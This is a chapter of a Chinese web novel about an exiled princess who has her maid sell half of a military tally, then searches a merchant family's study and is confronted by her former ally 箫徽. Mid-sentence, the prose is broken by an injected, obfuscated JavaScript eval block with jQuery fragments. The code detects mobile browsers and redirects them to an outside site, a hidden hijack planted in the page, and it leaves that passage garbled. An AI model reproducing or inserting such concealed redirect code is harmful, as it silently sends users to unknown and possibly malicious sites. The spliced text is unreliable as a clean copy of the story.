“二十两。”掌柜的轻飘飘的说道。
姒露装作一副咬咬牙的样子,说:“卖。”
一手交钱,一手递物。
姒露听取濮阳长羡的话,将那半块兵符卖了。
此物流通于市面上,会不会引起李律山的惊慌呢?姒露拿着银子,说道:“多谢掌柜的。”
当铺掌柜心想这人蒙着面纱,气质出尘不像寻常人家,只怕莫不是个痴的。上好的玉符怎么也得五十两吧,这人二十两说卖就卖,难不成是哪家千金小姐给跟家里闹脾气?真真百思不得其解啊。他看这玉符应该是一对鸳鸯玉符,若是有另一半,价值可就远远不止二十两了。想来过些日子这位姑娘也会将此玉符赎回啦,便也不再操心这事。
“赶快出城。”濮阳长羡将二十两塞给了姒露,让她出城。
“殿下一人在此,我不放心。”姒露僵持着,谁也不肯让一步。她好不容易让殿下有了生的希望,若是就此离去,她怕……
“那店家看到了你,你再留在幽州恐有危险。莫不说拖累了我,李律山还欠我一条命呢。”
“殿下的病,近来可有复发?”
濮阳长羡摇了摇头,说道:“兴许是好了,近半年来都能够忍受。你且放心,尽快出城!”
姒露知道,再不舍也应当在此刻走。只望殿下心里想着复仇,想着取李律山的那条狗命,怕是不会再去自寻死路。于是二人寒暄几句,姒露便跟着来往的商队出城了。
告示是在姒露走了一个月后贴出来的,此刻的姒露想必已经安全了。她原本是太极宫里的宫娥,后又在长公主府做事,跟着她的这些年,身上定然有些积蓄。濮阳长羡倒也不怕她以后的日子艰难,只是如此她也便放心了。
濮阳长羡这一个月,自己则是落脚于城外的破庙。
她在此处发现了一个密道,通往周家。正是半年前和李大人结亲的巨贾周家。一个在幽州出了名的奸商,李律山为何拉拢他呢?濮阳长羡百思不得其解。
索性,决定夜探周家。
密道里的霉味像条湿冷的蛇,顺着脊梁往上爬。濮阳长羡将手中的火折子举高,好方便看清前方的路。
砖石滑动时发出的轻微的咔嚓声,密道出口仅容一人侧身而入,璧上苔藓泛着幽绿的光。
半年前的那场婚事,被李律山说成有心之人掳走了李心菱,冒充她去成亲。然而又因假冒之人受审前期死去,所以不了了之。故而,周家并未将剩下的那半块兵符给李律山。
要说周家一介商贾之家,为何手上会有半块兵符呢?
这还要从三年前的那把大火说起。
魏嫣也是那时重病,故而不得不怀疑了。
惊雷炸响九重宫阙,椒书房正升腾起三丈高的火舌。
濮阳长羡仍然记得那晚,父皇死去,自己忽染怪疾,冷汗沁透衣裳,口中喃喃呓语似被恶鬼缠身。而在此变故下,远在千里之外的幽州城遗失了半块兵符,他们却无一人得知。此乃幽州刺史失责,而后污蔑皇亲至死此乃不忠,李律山她倒要查清楚了,这葫芦里卖的什么药。
濮阳长羡这样想着,来到了周家的书房。
书房内,周家二郎正因日日夜夜宿在花楼,被抓回抄写诗词。
泛黄的诗集被翻得哗哗作响,突然嗤笑出声:“酸儒笔墨,怎比得秦淮河畔软玉温香!”抓起狼毫便要毁了这本书集,却又停在书上半响,一滴墨汁垂落于宣纸上。父亲挥着藤条抽在他的脊背上的刺痛犹在,“再不成器,周家上下迟早被你挥霍一空!”
周二郎不屑的撇撇嘴,往自己口中倒了一口酒。没过多久,周二郎歪在圈椅里,酒意渐渐化作困意。
半柱香后,确定人已经熟睡后,濮阳长羡这才将头探出来。
周家人若是谨慎,今日她在此处定然没有收获。只是,她不死心,还是想来查个清楚。书房里头,大多都是一些经商务农的书,要不就是周二郎带进来的民间话本。
而她,只需要拿到剩下的兵符,让它流通于市面上,引起恐慌。
而半年前箫徽不是想要和她合作?虽然不明白此人的目的,但总归算是个盟友。从他那里拿到证据,上报朝廷,真相可就算是天下大白。
只是想来简单,兵符若真那般容易找到?还有半年前的箫徽反水,谁知日后箫徽会不会再次的反水?
濮阳长羡搜寻了大片面积的书房,并无所获。
正准备离去时,周二郎已经醒来了。颇为玩味的眼神望向她时,她顿感浑身上下僵硬的动弹不得。
“好娘子你是如何进我这书房的?你不是已与萧徽那家伙和离了?”
濮阳长羡摸了摸脸上的易容,松了口气。
周二郎跌跌撞撞走近来,濮阳长羡趁他不注意拔下头上唯一一根银簪子,尖刺却被她藏在另一端。
“娘子莫不是耐不住寂寞?”周二郎猥琐的笑着,“娘子你来找我,真是抬举我了,我一定把娘子你伺候的舒舒服服。”
濮阳长羡忍住全身恶寒,闭着眼要用力下手时。却觉身前一空,簪子迟迟没有动静。
她睁开眼一看,周二郎已经醉倒在地,箫徽出现在了她的眼前。
“你离开我,就是这样打算的?杀了周二郎,以你的处境就更不容易拿到兵符了?”
“我本无意杀他,只是情况所迫。”
“我的意思是,你就这么单枪匹马硬闯周家?”
“那也总比你偷偷跟踪我要强!”
“殿下想见我直说就可,何必如此大费周章?”想来濮阳长羡已经知道自己这将近一个月跟踪她的事情,他索性也不演。
“少说废话,还有半块兵符在何处?”
“殿下都不得知,更何况在下呢?”
“你连周家二郎都能绑去,替他成亲。想必你已经对周家了如指掌!”
“殿下要在下帮忙,总得给点好处吧?”
“我如今的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691629|173379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处境,可是你一手造成的。虽然你救了我,可也不妨碍我想杀你,想喝你的血,吃你的肉。”濮阳长羡握紧了手里的簪子,伺机行动。
“如此一来,便能与殿下这般长厢厮守,也好。”箫徽笑的癫狂,两手举起,似乎是想让濮阳长羡下手。
二人对峙良久,还是濮阳长羡先败下阵来。复仇一事,须得谨慎谨慎再谨慎。若是就此杀了箫徽,且不说他们力量悬殊,到死鹿死谁手还不一定呢,更别提从箫徽手里头拿证据了。
“你和你之间的仇定然会报,法师尽管等着。”
“檀越所说可真,倒叫人家好怕!”箫徽作出姑娘家的扭捏,差点把濮阳长羡恶心坏,“殿下不如想想如何躲过现在这一劫。”
濮阳长羡听见外头丫鬟们小声的寒暄,以及快要苏醒的周二郎。留得青山在,不怕没柴烧。心想兵符只得改日再拿,今日还是走为上计,快些离去才好。
箫徽眼疾手快拉住了濮阳长羡的手腕,说道:“幽州城外的破庙不安全。”随即,又松开手,“当然,如果是殿下的援兵到了也说不定。不过,李律山不是蠢的,我本就是一个半路出家的僧人,有妻子未免太可疑了。”
“那你之前怎么骗过他的?”
“你我又无夫妻之实,对外自然只说前缘的邻家妹妹来投奔。”箫徽故作无辜说道:“可是,前段时间你要出府,萧府少了人怎么办?自然只能说是休妻了。只是在下做的这副皮囊实在是美,引起旁人注意也不是难事。”
“你还真是个登徒子。”濮阳长羡怒道:“我到底哪里得罪你了?你要如此害我?”
“我们之间的账,现在还不到算的时候。”箫徽黯淡说道。
濮阳长羡的手腕被他攥的生疼,想挣脱,却被他更用力的箍住。她抬眼瞪他,昏暗光线下,只能看清他轮廓分明的下颌和那双在阴影里也亮得惊人的眼眸。
几乎就在同时,书房外清晰的传来了脚步声和丫鬟的说话声,
“二少爷醉在里面了?要不要进去看看?”
“老爷吩咐过,让二少爷在书房喝酒喝到饱。什么时候看见酒不敢喝了,什么时候放他出来。”
濮阳长羡松了口气,刚提起的心放进了肚子里。
箫徽则是带着周二郎和她翻窗而出,一路上的躲避,直到到了最外围的围墙。箫徽将周二郎从狗洞里往外推,搞得睡的酣甜的周二郎连连呓语。
等到了濮阳长羡,她却犯了难。要说狗洞她少年时不是没有爬过,只是如今她长大了,自然是……
箫徽挑眉看着她,淡淡说:“娘子怎了?再磨蹭被周家人发现,我们可是会被当成?”
正当濮阳长羡咬咬牙,准备爬过去时。箫徽揽住她的腰身,在她耳畔说了一句:“得罪了。”借着围墙的力,带她翻了过去。
濮阳长羡被他这一举动惊的脸红心跳,她有些抱怨的看着箫徽。
箫徽却已经扛着周二郎,大步流星离去。